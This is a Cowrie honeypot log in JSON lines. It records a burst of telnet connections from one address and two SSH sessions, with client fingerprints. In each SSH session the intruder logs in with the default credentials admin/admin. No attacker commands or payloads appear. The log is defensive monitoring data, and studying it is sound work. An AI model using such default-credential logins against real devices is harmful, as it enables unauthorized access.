{"eventid":"cowrie.session.closed","duration":32.189409255981445,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:43.046136Z","src_ip":"23.111.140.22","session":"e376ed61da44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33060,"dst_ip":"10.17.0.5","dst_port":23,"session":"231b4b95f676","protocol":"telnet","message":"New connection: 23.111.140.22:33060 (10.17.0.5:23) [session: 231b4b95f676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:43.430226Z"}
{"eventid":"cowrie.session.closed","duration":32.97960424423218,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:43.520634Z","src_ip":"23.111.140.22","session":"db719d9dc579","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36578,"dst_ip":"10.17.0.5","dst_port":23,"session":"54abe589947d","protocol":"telnet","message":"New connection: 23.111.140.22:36578 (10.17.0.5:23) [session: 54abe589947d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:43.707380Z"}
{"eventid":"cowrie.session.closed","duration":59.67271614074707,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:44.188528Z","src_ip":"23.111.140.22","session":"57a85d4a2e45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24531579017639,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:44.500412Z","src_ip":"23.111.140.22","session":"cf82a8bb8c84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40668,"dst_ip":"10.17.0.5","dst_port":23,"session":"57264f07650a","protocol":"telnet","message":"New connection: 23.111.140.22:40668 (10.17.0.5:23) [session: 57264f07650a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:45.080759Z"}
{"eventid":"cowrie.session.closed","duration":31.94260811805725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:45.170668Z","src_ip":"23.111.140.22","session":"0d2a874d82b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41286,"dst_ip":"10.17.0.5","dst_port":23,"session":"5df4b72acfc9","protocol":"telnet","message":"New connection: 23.111.140.22:41286 (10.17.0.5:23) [session: 5df4b72acfc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:45.317059Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38460,"dst_ip":"10.17.0.5","dst_port":23,"session":"06751df94f6f","protocol":"telnet","message":"New connection: 23.111.140.22:38460 (10.17.0.5:23) [session: 06751df94f6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:45.348204Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38806,"dst_ip":"10.17.0.5","dst_port":23,"session":"e77e6778e9f1","protocol":"telnet","message":"New connection: 23.111.140.22:38806 (10.17.0.5:23) [session: e77e6778e9f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:45.452124Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38864,"dst_ip":"10.17.0.5","dst_port":23,"session":"727912953d30","protocol":"telnet","message":"New connection: 23.111.140.22:38864 (10.17.0.5:23) [session: 727912953d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:45.474197Z"}
{"eventid":"cowrie.session.closed","duration":35.52989983558655,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:45.808115Z","src_ip":"23.111.140.22","session":"5188c0841717","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42923,"dst_ip":"10.17.0.5","dst_port":23,"session":"01bf01dda3ef","protocol":"telnet","message":"New connection: 23.111.140.22:42923 (10.17.0.5:23) [session: 01bf01dda3ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:45.848509Z"}
{"eventid":"cowrie.session.closed","duration":31.104526042938232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:45.886352Z","src_ip":"23.111.140.22","session":"6c2fcacc8019","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37218,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fc9cdb9089d","protocol":"telnet","message":"New connection: 23.111.140.22:37218 (10.17.0.5:23) [session: 0fc9cdb9089d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:45.922690Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54310,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dbe62df4709","protocol":"telnet","message":"New connection: 23.111.140.22:54310 (10.17.0.5:23) [session: 4dbe62df4709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:45.954544Z"}
{"eventid":"cowrie.session.closed","duration":31.147735357284546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:46.127160Z","src_ip":"23.111.140.22","session":"3fc32267f879","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43980,"dst_ip":"10.17.0.5","dst_port":23,"session":"340296738b69","protocol":"telnet","message":"New connection: 23.111.140.22:43980 (10.17.0.5:23) [session: 340296738b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:46.170196Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35360,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5b09db65b36","protocol":"telnet","message":"New connection: 23.111.140.22:35360 (10.17.0.5:23) [session: f5b09db65b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:46.274327Z"}
{"eventid":"cowrie.session.closed","duration":31.24862504005432,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:46.497982Z","src_ip":"23.111.140.22","session":"3346657b3956","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45114,"dst_ip":"10.17.0.5","dst_port":23,"session":"60c4cc68b6f6","protocol":"telnet","message":"New connection: 23.111.140.22:45114 (10.17.0.5:23) [session: 60c4cc68b6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:46.597126Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36360,"dst_ip":"10.17.0.5","dst_port":23,"session":"400ee9fee590","protocol":"telnet","message":"New connection: 23.111.140.22:36360 (10.17.0.5:23) [session: 400ee9fee590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:46.624660Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45246,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed6127b4c4f3","protocol":"telnet","message":"New connection: 23.111.140.22:45246 (10.17.0.5:23) [session: ed6127b4c4f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:46.641125Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45334,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dfda2784566","protocol":"telnet","message":"New connection: 23.111.140.22:45334 (10.17.0.5:23) [session: 9dfda2784566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:46.667114Z"}
{"eventid":"cowrie.session.closed","duration":31.42670965194702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:46.916511Z","src_ip":"23.111.140.22","session":"a66ffefde5a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46722,"dst_ip":"10.17.0.5","dst_port":23,"session":"31090090cfc6","protocol":"telnet","message":"New connection: 23.111.140.22:46722 (10.17.0.5:23) [session: 31090090cfc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:47.129198Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46966,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc803642d31c","protocol":"telnet","message":"New connection: 23.111.140.22:46966 (10.17.0.5:23) [session: fc803642d31c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:47.227147Z"}
{"eventid":"cowrie.session.closed","duration":45.60723257064819,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:47.323832Z","src_ip":"23.111.140.22","session":"013723c54908","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45188,"dst_ip":"10.17.0.5","dst_port":23,"session":"32a19c28a869","protocol":"telnet","message":"New connection: 23.111.140.22:45188 (10.17.0.5:23) [session: 32a19c28a869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:47.622508Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48580,"dst_ip":"10.17.0.5","dst_port":23,"session":"9292e53915df","protocol":"telnet","message":"New connection: 23.111.140.22:48580 (10.17.0.5:23) [session: 9292e53915df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:47.814062Z"}
{"eventid":"cowrie.session.closed","duration":37.43615794181824,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:47.844998Z","src_ip":"23.111.140.22","session":"9b9746ca0754","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49320,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb7445bf55fb","protocol":"telnet","message":"New connection: 23.111.140.22:49320 (10.17.0.5:23) [session: cb7445bf55fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:48.037148Z"}
{"eventid":"cowrie.session.closed","duration":30.31303095817566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:48.195566Z","src_ip":"23.111.140.22","session":"70128ad3b6b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.604650259017944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:48.473594Z","src_ip":"23.111.140.22","session":"33fc2a55d5a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.52011251449585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:48.666394Z","src_ip":"23.111.140.22","session":"13907e4f81c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.80393171310425,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:49.383552Z","src_ip":"23.111.140.22","session":"e69102096c9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86882781982422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:49.815060Z","src_ip":"23.111.140.22","session":"48e5898a4ff2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50486,"dst_ip":"10.17.0.5","dst_port":23,"session":"0312ff682d4d","protocol":"telnet","message":"New connection: 23.111.140.22:50486 (10.17.0.5:23) [session: 0312ff682d4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:50.034986Z"}
{"eventid":"cowrie.session.closed","duration":0.004238128662109375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:50.039068Z","src_ip":"23.111.140.22","session":"0312ff682d4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.59488797187805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:50.757753Z","src_ip":"23.111.140.22","session":"457125b98aeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.490906953811646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:50.771492Z","src_ip":"23.111.140.22","session":"370aef3f0f44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.80827784538269,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:50.788131Z","src_ip":"23.111.140.22","session":"e5f9f97be226","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56088,"dst_ip":"10.17.0.5","dst_port":23,"session":"a12e5313f6fb","protocol":"telnet","message":"New connection: 23.111.140.22:56088 (10.17.0.5:23) [session: a12e5313f6fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:51.408983Z"}
{"eventid":"cowrie.session.closed","duration":33.765042304992676,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:51.604870Z","src_ip":"23.111.140.22","session":"b914e29cfd7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41929054260254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:52.057207Z","src_ip":"23.111.140.22","session":"0cb091005747","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34220,"dst_ip":"10.17.0.5","dst_port":23,"session":"802c3bd8ae4f","protocol":"telnet","message":"New connection: 23.111.140.22:34220 (10.17.0.5:23) [session: 802c3bd8ae4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:52.452488Z"}
{"eventid":"cowrie.session.closed","duration":31.53568148612976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:52.564563Z","src_ip":"23.111.140.22","session":"fc5474b8f8de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34624,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b1f9fc90cf6","protocol":"telnet","message":"New connection: 23.111.140.22:34624 (10.17.0.5:23) [session: 4b1f9fc90cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:52.590009Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60538,"dst_ip":"10.17.0.5","dst_port":23,"session":"f85f0969bddd","protocol":"telnet","message":"New connection: 23.111.140.22:60538 (10.17.0.5:23) [session: f85f0969bddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:52.816998Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35030,"dst_ip":"10.17.0.5","dst_port":23,"session":"104f99c1b7e2","protocol":"telnet","message":"New connection: 23.111.140.22:35030 (10.17.0.5:23) [session: 104f99c1b7e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:53.612965Z"}
{"eventid":"cowrie.session.closed","duration":0.004826784133911133,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:53.617589Z","src_ip":"23.111.140.22","session":"104f99c1b7e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.68265104293823,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:53.818936Z","src_ip":"23.111.140.22","session":"b5eb0794274a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38540,"dst_ip":"10.17.0.5","dst_port":23,"session":"655a44d9d4b4","protocol":"telnet","message":"New connection: 23.111.140.22:38540 (10.17.0.5:23) [session: 655a44d9d4b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:53.824576Z"}
{"eventid":"cowrie.session.closed","duration":31.11531090736389,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:53.976748Z","src_ip":"23.111.140.22","session":"13ff7331fecd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46601963043213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:54.180274Z","src_ip":"23.111.140.22","session":"01d164440662","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.590983152389526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:54.379033Z","src_ip":"23.111.140.22","session":"aa7e47c4f424","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.0007061958313,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:54.623639Z","src_ip":"23.111.140.22","session":"41297bc6ff0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.152.94","src_port":36460,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bfcc7cd4191","protocol":"ssh","message":"New connection: 167.172.152.94:36460 (159.203.135.109:22) [session: 1bfcc7cd4191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:54.849475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:54.855149Z","src_ip":"167.172.152.94","session":"1bfcc7cd4191","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:54.867686Z","src_ip":"167.172.152.94","session":"1bfcc7cd4191","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:54.889420Z","src_ip":"167.172.152.94","session":"1bfcc7cd4191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:54.899560Z","src_ip":"167.172.152.94","session":"1bfcc7cd4191","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42082,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d664c70492e","protocol":"telnet","message":"New connection: 23.111.140.22:42082 (10.17.0.5:23) [session: 2d664c70492e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:54.984131Z"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":4582,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fe5726541a5","protocol":"ssh","message":"New connection: 130.12.180.51:4582 (159.203.135.109:22) [session: 5fe5726541a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:55.059582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:55.069209Z","src_ip":"130.12.180.51","session":"5fe5726541a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:55.151984Z","src_ip":"130.12.180.51","session":"5fe5726541a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.06626558303833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:55.180918Z","src_ip":"23.111.140.22","session":"01b9bde852db","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:55.399148Z","src_ip":"130.12.180.51","session":"5fe5726541a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43594,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bde5c529b42","protocol":"telnet","message":"New connection: 23.111.140.22:43594 (10.17.0.5:23) [session: 9bde5c529b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:55.481491Z"}
{"eventid":"cowrie.session.closed","duration":31.46217131614685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:55.494876Z","src_ip":"23.111.140.22","session":"3fc26d6720ee","protocol":"telnet"}
